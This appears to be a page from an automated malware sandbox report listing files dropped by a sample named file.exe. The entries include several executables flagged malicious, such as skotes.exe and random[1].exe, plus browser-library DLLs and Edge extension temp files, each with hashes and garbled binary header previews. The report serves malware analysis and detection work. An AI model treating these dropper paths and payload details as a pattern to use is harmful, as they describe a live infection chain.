Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3240960
Entropy (8bit):	6.654378454330657
Encrypted:	false
SSDEEP:	24576:HnSPPBBDX85d/0A7/XxXsEdS87qsOTfyFuEfqapcUrMMxHp1tccM+cvYNu40jg7m:HncXK9XLwsJ5So16jCVxoJHOUHJbrZ
MD5:	8231838196B7B207B73B8BF17344DC6E
SHA1:	92C825FCF7D975220918D620CE7AB0ADB6B46EC7
SHA-256:	962E7907BCB99387A4CB3B703CF91D3BA34FBF97F6024DDFDD47F69FCAED4992
SHA-512:	8FFA132F41A84473A6F01071A8D006920B58B2C020AFE0D3151BB0838638FDEBEDBA4B1D31FD12C5116541905A30535F71C5ECABEABF0402235AE9F44C8A8303
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......M2...@.................................W...k............................i1.............................xi1..................................................... . ............................@....rsrc...............................@....idata ............................@...uznwvgqp..........................@...ftpwkcch.....p1......N1.............@....taggant.0....1.."...R1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.9454368693166915
Encrypted:	false
SSDEEP:	49152:Lgjet/+yQPNYcLHgMwIG22eu+qt/zyxFrjflFy90Uu:LWEmyQRHg7Il2+k/uT7lFyt
MD5:	59B3273D9D5C8F80B5CFE9E160188073
SHA1:	3DFE989CBA1316ED1A4E82B8BF9E73301749E559
SHA-256:	101E5DD7863CC4CC10C084D7468F2BD81A77323F9FB49B4B5EBD6077A5552BA8
SHA-512:	7A5B0B3E6F368A8E34ABBB9059D0399937373ECCAC17DE9CBD9E911833ED48D369E97FC3FBF02BA73D66661A2B50926F0630F9923F679F771CA968506DA1B128
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......j...........@...........................j...........@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... .P+...$......t..............@...mmgyxokd.p....P..b...v..............@...ujjtsjxw......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2812416
Entropy (8bit):	6.506394460788324
Encrypted:	false
SSDEEP:	49152:FOQmpFYMhkmmrzvMhdT9OlBOYJZMVvEw6+vuDa3:nmcMhkmCDMhdTw3OYeVuD
MD5:	AB555CC5ACC5955E93FF9F142DB74EC2
SHA1:	AA7F013286EC10034A4F09012A81FE47BF6BCA06
SHA-256:	CAF444363A47B823BE0586E229FED259F59840B461E038C282F8381CAAAE593C
SHA-512:	D7E8D4F50FAB0F1C40A9E349819E64C246BE80F89E39FBE04F8148C270B90177BB7A7D8FA1A1D3766A05127DE6E14D8A8CDC11431578CB3341E4317FF0278810
Malicious:	false
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...askqtssa...........:..............@...zdkoeiqw. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.9454368693166915
Encrypted:	false
SSDEEP:	49152:Lgjet/+yQPNYcLHgMwIG22eu+qt/zyxFrjflFy90Uu:LWEmyQRHg7Il2+k/uT7lFyt
MD5:	59B3273D9D5C8F80B5CFE9E160188073
SHA1:	3DFE989CBA1316ED1A4E82B8BF9E73301749E559
SHA-256:	101E5DD7863CC4CC10C084D7468F2BD81A77323F9FB49B4B5EBD6077A5552BA8
SHA-512:	7A5B0B3E6F368A8E34ABBB9059D0399937373ECCAC17DE9CBD9E911833ED48D369E97FC3FBF02BA73D66661A2B50926F0630F9923F679F771CA968506DA1B128
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@".......j...........@...........................j...........@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... .P+...$......t..............@...mmgyxokd.p....P..b...v..............@...ujjtsjxw......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2812416
Entropy (8bit):	6.506394460788324
Encrypted:	false
SSDEEP:	49152:FOQmpFYMhkmmrzvMhdT9OlBOYJZMVvEw6+vuDa3:nmcMhkmCDMhdTw3OYeVuD
MD5:	AB555CC5ACC5955E93FF9F142DB74EC2
SHA1:	AA7F013286EC10034A4F09012A81FE47BF6BCA06
SHA-256:	CAF444363A47B823BE0586E229FED259F59840B461E038C282F8381CAAAE593C
SHA-512:	D7E8D4F50FAB0F1C40A9E349819E64C246BE80F89E39FBE04F8148C270B90177BB7A7D8FA1A1D3766A05127DE6E14D8A8CDC11431578CB3341E4317FF0278810
Malicious:	true
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........`+.. ...`....@.. ........................+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...askqtssa...........:..............@...zdkoeiqw. ...@+....................@....taggant.@...`+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\318e3f0d-5d75-4df0-a159-0f924ace2909.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\561d714d-8b73-46b8-a7a5-c0c6dec43cda.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\8fe5c202-79f9-4cd6-abb9-1d9b4db7adc3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1556282
Entropy (8bit):	7.993091082663026
Encrypted:	true
SSDEEP:	24576:1O7+sTMqgbVZIjqtMIN8AFswemQDrj3/2gBFvsCf5k2HtpGf78gLf6gIF9C0fDDq:1OCeKpZQ4MxAFP0/3/7b0CftIoSf6LFy
MD5:	8FCB272E4619D2241C3F9CD9203D4634
SHA1:	F243CBF7D39D11B55981B557130DA3922F3E26BD
SHA-256:	0F5F4EFD10853216D1A090E7879E6AA4D0E711D2DE20311A1B4C90DC9F404E2C
SHA-512:	173C859819572D39A8FC13C35D064BE25E14A514D788577A210A2B31F369240C4302B6FE182339425BBAA86D09B04663E2C45404574A9608EAFD84F902ED6BCC
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\a595c471-88e5-4ced-a044-47ab9b5db4fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsKKFHJJDHJE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3240960
Entropy (8bit):	6.654378454330657
Encrypted:	false
SSDEEP:	24576:HnSPPBBDX85d/0A7/XxXsEdS87qsOTfyFuEfqapcUrMMxHp1tccM+cvYNu40jg7m:HncXK9XLwsJ5So16jCVxoJHOUHJbrZ
MD5:	8231838196B7B207B73B8BF17344DC6E
SHA1:	92C825FCF7D975220918D620CE7AB0ADB6B46EC7
SHA-256:	962E7907BCB99387A4CB3B703CF91D3BA34FBF97F6024DDFDD47F69FCAED4992
SHA-512:	8FFA132F41A84473A6F01071A8D006920B58B2C020AFE0D3151BB0838638FDEBEDBA4B1D31FD12C5116541905A30535F71C5ECABEABF0402235AE9F44C8A8303
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1......M2...@.................................W...k............................i1.............................xi1..................................................... . ............................@....rsrc...............................@....idata ............................@...uznwvgqp..........................@...ftpwkcch.....p1......N1.............@....taggant.0....1.."...R1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.409361310711012
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrn:8e2Fa116uCntc5toYHcM
MD5:	BC3D3517CF44F42408D9A57373730A68
SHA1:	9384BE26FF0223EB6DFAD43AB4428416770D6C45
SHA-256:	67372708624DC243FD761690E69D5C320472D95B6982C6F013B2A2002DB50E8A
SHA-512:	695D1AED62233F6B4A33E94A012B7004EA6220483D3F6CBE0D3FA83E32D1AA36F6A0816CC039F048A72F097EFCFD2F82E2B0A0EE456BD4E838BEB0AC1F3B822A
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\e184de20-023a-4b25-ac15-eb3fb9f57242.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\ef1dc176-401e-43e9-ad72-ea9c7a12ae32.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\fdf13ff5-b138-49fc-83a3-91a96cd2f256.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_1087970802\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7604_1087970802\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
